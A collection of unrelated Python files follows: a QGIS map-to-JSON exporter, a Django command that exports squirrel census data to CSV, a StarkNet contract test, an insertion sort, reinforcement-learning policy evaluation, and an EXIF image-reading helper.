    primary = sorted(b, key=lambda x: x['score'])[-1] ##refer #(1)
    final.append(primary)

secondary = sorted(final, key=lambda x: x['score'])[-1] ##refer #(2)
print(secondary)


from qgis.core import QgsApplication, QgsMessageLog
from .ekmap_converter import eKConverter
from .ekmap_common import *
from .qgssource_parser.datasource_parser import DataSourceParser
from .qgslabel_parser.label_factory import LabelFactory
from .qgs_symbology_parser.symbology_factory import SymbologyFactory

import json, uuid

class eKMapExporter:

    def __init__(self, iface, instance):
        eKConverter.IFACE = iface
        self.instance = instance
        self.sourceParser = DataSourceParser()
        self.externalGraphics = []
        self.layerSorter = 0
        self.code = ''
        self.ogr2ogr = QgsApplication.prefixPath().rstrip('apps/qgis') + '/bin/ogr2ogr.exe'

    def exportMapInfo(self):
        mapInfo = {}
        mapInfo["Title"] = self.instance.baseName()
        mapInfo["Description"] = None # không tìm thấy
        mapInfo["CurrentView"] = self._wrapCurrentView()
        mapInfo["MaxExtent"] = self._wrapExtent(eKConverter.IFACE.mapCanvas().fullExtent())
        mapInfo["RestrictExtent"] = self._wrapExtent(eKConverter.IFACE.mapCanvas().fullExtent())

        mapScales = self.instance.viewSettings().mapScales()
        minLevel = 0 # mặc định
        maxLevel = 22 # mặc định
        if len(mapScales) > 0 :
            minLevel = eKConverter.convertScaleToLevel(mapScales[0])
            maxLevel = eKConverter.convertScaleToLevel(mapScales[len(mapScales) - 1])
        mapInfo["MinLevel"] = minLevel
        mapInfo["MaxLevel"] = maxLevel
        mapInfo["Config"] = None # chưa support
        mapInfo["Source"] = None # chưa support
        mapInfo["Layers"] = self._wrapLayers(self.instance.layerTreeRoot(), None)

        return mapInfo

    def _wrapCurrentView(self):
        currentView = {}
        currentView["x"] = eKConverter.IFACE.mapCanvas().center().x()
        currentView["y"] = eKConverter.IFACE.mapCanvas().center().y()
        currentView["level"] = eKConverter.convertScaleToLevel(eKConverter.IFACE.mapCanvas().scale())
        return currentView

    def _wrapExtent(self, inputExtent):
        extent = {}
        extent["xmin"] = inputExtent.xMinimum()
        extent["xmax"] = inputExtent.xMaximum()
        extent["ymin"] = inputExtent.yMinimum()
        extent["ymax"] = inputExtent.yMaximum()
        return extent

    def _wrapLayers(self, root, parentCode):
        layers = []
        for childLayer in root.children():
            layer = {}
            if childLayer.nodeType() == 1: # feature layer
                # Nếu không phải vector layer thì bỏ qua
                #if childLayer.layer().type().value != 0:
                #    continue
                self.code = childLayer.layer().id()
                layer = self._wrapFeatureLayer(childLayer)
            else: # group layer
                self.code = str(uuid.uuid4())
                layer = self._wrapGroupLayer(childLayer)

            # layer["Id"] = self.layerSorter
            self.layerSorter = self.layerSorter + 1
            layer["Sorter"] = self.layerSorter

            if parentCode is not None:
                layer["ParentCode"] = parentCode
            layers.append(layer)
            if len(childLayer.children()) > 0:
                layers.extend(self._wrapLayers(childLayer, layer["Code"]))
        return layers

    def _wrapGroupLayer(self, node):
        groupLayer = {}
        groupLayer["Title"] = node.name()
        groupLayer["Code"] = self.code
        groupLayer["Type"] = "Group Layer"
        return groupLayer

    def _wrapFeatureLayer(self, childLayer):
        mapLayer = childLayer.layer()
        layer = {}
        layer["Title"] = mapLayer.name()
        layer["Code"] = self.code
        layer["Description"] = mapLayer.abstract()
        providerType = mapLayer.providerType()
        sourceString = mapLayer.source()
        if (providerType == "ogr"
            or providerType == "delimitedtext" # CSV
            or providerType == "mssql"
            or providerType == "spatialite"): # SQLite
            if mapLayer.renderer() is None: # table
                layer["Type"] = "Table"
            else:
                geoType = mapLayer.geometryType()
                layer["GeoType"] = eKConverter.convertLayerToGeoType(geoType)
                layer["Type"] = "Feature Layer"
                style = self._wrapStyle(mapLayer)
                styleLabel = self._wrapStyleLabel(mapLayer)
                if styleLabel is not None:
                    # style.append(styleLabel)
                    styleLabel = json.dumps(styleLabel)
                    layer["StyleLabel"] = styleLabel
                if style is not None:
                    style = json.dumps(style)
                    layer["Style"] = style

                minLevel = 0
                maxLevel = 22
                if mapLayer.hasScaleBasedVisibility():
                    minLevel = eKConverter.convertScaleToLevel(mapLayer.minimumScale())
                    maxLevel = eKConverter.convertScaleToLevel(mapLayer.maximumScale()) - 1
                if (maxLevel <= 0):
                    maxLevel = 22

                layer["MinLevel"] = minLevel
                layer["MaxLevel"] = maxLevel
            layer["FieldInfo"] = self._wrapFieldInfos(mapLayer)
            # layer["SourceWorkspace"] = self._wrapSourceWorkspace(mapLayer)
        layer["SourceWorkspace"] = self.sourceParser.parse(providerType, sourceString)
        # layer["DestWorkspace"] = None # ignore in this time
        # layer["Config"] = None # ignore in this time
        layer["Filter"] = self.sourceParser.currentSourceFilter
        layer["Visible"] = childLayer.isVisible()
        # layer["BaseLayer"] = False # not support

        return layer

    def _wrapFieldInfos(self, mapLayer):
        fieldInfos = []
        i = 1
        for field in mapLayer.fields():
            fieldInfos.append(self._wrapFieldInfo(field, i))
            i = i + 1
        return fieldInfos

    def _wrapFieldInfo(self, field, increment):
        fieldInfo = {}
        fieldInfo["TableName"] = None # ignore in this time
        fieldInfo["FieldName"] = field.name()
        fieldInfo["FieldSource"] = field.name() # lấy giống field name
        fieldInfo["DisplayName"] = field.displayName()
        fieldInfo["DataType"] = eKConverter.convertDataType(field.typeName())
        if field.length() == 1:
            fieldInfo["Length"] = 10
        else:
            fieldInfo["Length"] = field.length()
        fieldInfo["AllowNull"] = True # tạm fix cứng
        fieldInfo["ViewType"] = "lineedit"
        fieldInfo["Sorter"] = increment # tăng dần
        return fieldInfo

    def _wrapStyleLabel(self, mapLayer):
        labelParser = LabelFactory.getLabelParser(mapLayer)
        if labelParser is None:
            return None
        else:
            return labelParser.read()

    def _wrapStyle(self, mapLayer):
        renderer = mapLayer.renderer()
        symbologyParser = SymbologyFactory.getSymbologyParser(renderer)
        if symbologyParser is None:
            return []
        else:
            return symbologyParser.parse(renderer, self)


import csv
from django.core.management.base import BaseCommand, CommandError
from central.models import Squirrel

class Command(BaseCommand):
    help = 'Load a csv file into the database'

    def add_arguments(self, parser):
        parser.add_argument('path', type=str)

    def handle(self, *args, **kwargs):
        path = kwargs['path']
        csvFile = open(path, "w")

        #get all the attributes in the model
        fileheader = ['X','Y','Unique Squirrel ID','Hectare','Shift','Date','Hectare Squirrel Number','Age','Primary Fur Color',
                    'Highlight Fur Color','Combination of Primary and Highlight Color','Color notes','Location',
                    'Above Ground Sighter Measurement','Specific Location','Running','Chasing','Climbing','Eating','Foraging',
                    'Other Activities','Kuks','Quaas','Moans','Tail flags','Tail twitches','Approaches','Indifferent',
                    'Runs from','Other Interactions','Lat/Long','Zip Codes','Community Districts','Borough Boundaries',
                    'City Council Districts','Police Precincts']
        dict_writer = csv.DictWriter(csvFile, fileheader)
        dict_writer.writeheader()
        #get data
        squirrels_list = Squirrel.objects.distinct()

        for obj in squirrels_list:
            row_list = [obj.loc_X, obj.loc_Y, obj.uniqueID, obj.hectare, obj.shift, obj.date, obj.hectareNum, obj.age,
                        obj.primaryColor, obj.highlightColor, obj.combiColor, obj.colorNotes,obj.location,obj.measurement,
                        obj.specificLocation,obj.running,obj.chasing,obj.climbing,obj.eating,obj.foraging,obj.otherActivities,
                        obj.kuks,obj.quaas,obj.moans,obj.tailFlags,obj.tailTwitches,obj.approaches,obj.indifferent,obj.runsFrom,
                        obj.otherInteractions,obj.latLong,obj.zipcodes,obj.communityDistricts,obj.boroughBoundaries,obj.cityCouncilDistricts,
                        obj.policePrecincts]
            row_file=dict(zip(fileheader,row_list))
            #write data
            dict_writer.writerow(row_file)

        csvFile.close()


import pytest
import asyncio
from starkware.starknet.testing.starknet import Starknet
from utils import Signer, uint, str_to_felt, MAX_UINT256

signer = Signer(123456789987654321)

@pytest.fixture(scope='module')
def event_loop():
    return asyncio.new_event_loop()

@pytest.fixture(scope='module')
async def ownable_factory():
    starknet = await Starknet.empty()
    owner = await starknet.deploy(
        "contracts/utils/Account.cairo",
        constructor_calldata=[signer.public_key]
    )

    greeter = await starknet.deploy(
        "contracts/Greeter.cairo",
        constructor_calldata=[
            str_to_felt("gm everybody, gm")
        ]
    )
    return starknet, greeter, owner

@pytest.mark.asyncio
async def test_constructor(ownable_factory):
    _, greeter, _ = ownable_factory
    expected = await greeter.gm().call()
    assert expected.result.gm == str_to_felt("gm everybody, gm")

@pytest.mark.asyncio
async def test_set_greeting(ownable_factory):
    _, greeter, owner = ownable_factory
    new_greeting = str_to_felt("gtgm")
    await signer.send_transaction(owner, greeter.contract_address, 'setGreeting', [new_greeting])
    expected = await greeter.gm().call()
    assert expected.result.gm == new_greeting


# Insertion Sort
def insertionsort(alist):
    for i in range(1, len(alist)):
        currentvalue = alist[i]
        position = i
        while position > 0 and alist[position-1] > currentvalue:
            alist[position] = alist[position-1]
            position -= 1
        alist[position] = currentvalue

# Implementation
data = [12, 10, 6, 11, 5, 4, 7, 9, 8]

# Calling function insertionsort()
insertionsort(data)
print(data)


import numpy as np
from environment.baird import Baird

def estimate_stationary_distribution(env, behaviour_policy):
    cnt = np.zeros((env.nS, env.nA))

    for episode in range(10000):
        state = env.reset()
        while True:
            action_probs = behaviour_policy[state]
            action = np.random.choice(np.arange(env.nA), p=action_probs)
            cnt[state, action] += 1
            next_state, _, done, _ = env.step(action)
            if isinstance(env, Baird):
                if np.random.binomial(1, 0.01) == 1:
                    done = True
            if done:
                break

            state = next_state
    cnt = cnt.astype('float')
    mu = cnt / cnt.sum()
    mu = mu.reshape(env.nS * env.nA)
    return mu

def policy_evaluation(env, policy, discount_factor=0.6, threshold=0.00001):

    nA = env.nA
    nS = env.nS

    V = np.zeros(nS)
    while True:
        delta = 0
        # For each state, perform a "full backup"
        for s in range(env.nS):

            v = 0
            # Look at the possible next actions
            for a, action_prob in enumerate(policy[s]):
                # For each action, look at the possible next states...
                for prob, next_state, reward, done in env.P[s][a]:
                    # Calculate the expected value
                    v += action_prob * prob * (reward + discount_factor * V[next_state])
            # How much our value function changed (across any states)
            delta = max(delta, np.abs(v - V[s]))
            V[s] = v
        # Stop evaluating once our value function change is below a threshold
        if delta < threshold:
            break

    # compute state-action value
    Q = np.zeros([nS, nA])
    for s in range(nS):
        for a in range(nA):
            q = 0
            for prob, next_state, reward, done in env.P[s][a]:
                q += prob * (reward + discount_factor * V[next_state])
            Q[s, a] = q
    return Q, V


import imghdr, json, requests
from io import BytesIO
from PIL import Image, ExifTags

# Contient les fonctions d'identification des images et de récupération des données exif en local et à distance
class imageProcessing():
    def isImg(self,file_path):
        try:
            Image.open(file_path)
        except IOError:
            return False
        return True

    def isRemoteImg(self,url):
        try:
            response = requests.head(url)
            if response.status_code == 200:
                content_type = response.headers.get('Content-Type')
                if content_type and content_type.startswith('image/'):
                    return True
                response = requests.get(url)
                if response.status_code == 200:
                    image_data = response.content
                    image_format = imghdr.what(None, h=image_data)
                    if image_format:
                        print(f"Image format detected as {image_format} based on the response content.")
                        return True
        except requests.exceptions.RequestException:
            pass
        print("The URL does not point to a valid image.")
        return False

    def exifdata(self, file_path):
        try:
            with Image.open(file_path) as image:
                exif_info = image._getexif()

                if exif_info:
                    exif_data = {}
                    for tag, value in exif_info.items():
                        tag_name = ExifTags.TAGS.get(tag, tag)
                        exif_data[tag_name] = value

                    exif_json = json.dumps(exif_data, default=str, indent=4)
                    with open('export.json', 'w') as export_file:
                        export_file.write(exif_json)

                    return exif_data
                else:
                    return "No Exif data found in the image."
        except (IOError, AttributeError, KeyError) as e:
            return f"Error while reading Exif data: {str(e)}"

    def remoteExifdata(self,response):
        try:
            response.raise_for_status()
            image = Image.open(BytesIO(response.content))
            if hasattr(image, '_getexif'):
                exif_info = image._getexif()

                if exif_info:
                    exif_data = {}
                    for tag, value in exif_info.items():
                        tag_name = ExifTags.TAGS.get(tag, tag)
                        exif_data[tag_name] = value

                    exif_json = json.dumps(exif_data, default=str, indent=4)
                    with open('export.json', 'w') as export_file:
                        export_file.write(exif_json)

                    return exif_data
                else:
                    return "No Exif data found in the image."
            else:
                return "Exif data not found in the image."
        except requests.exceptions.RequestException as e:
            return f"Error while making the request: {str(e)}"
        except (IOError, AttributeError, KeyError, Exception) as e:
            return f"Error while reading Exif data: {str(e)}"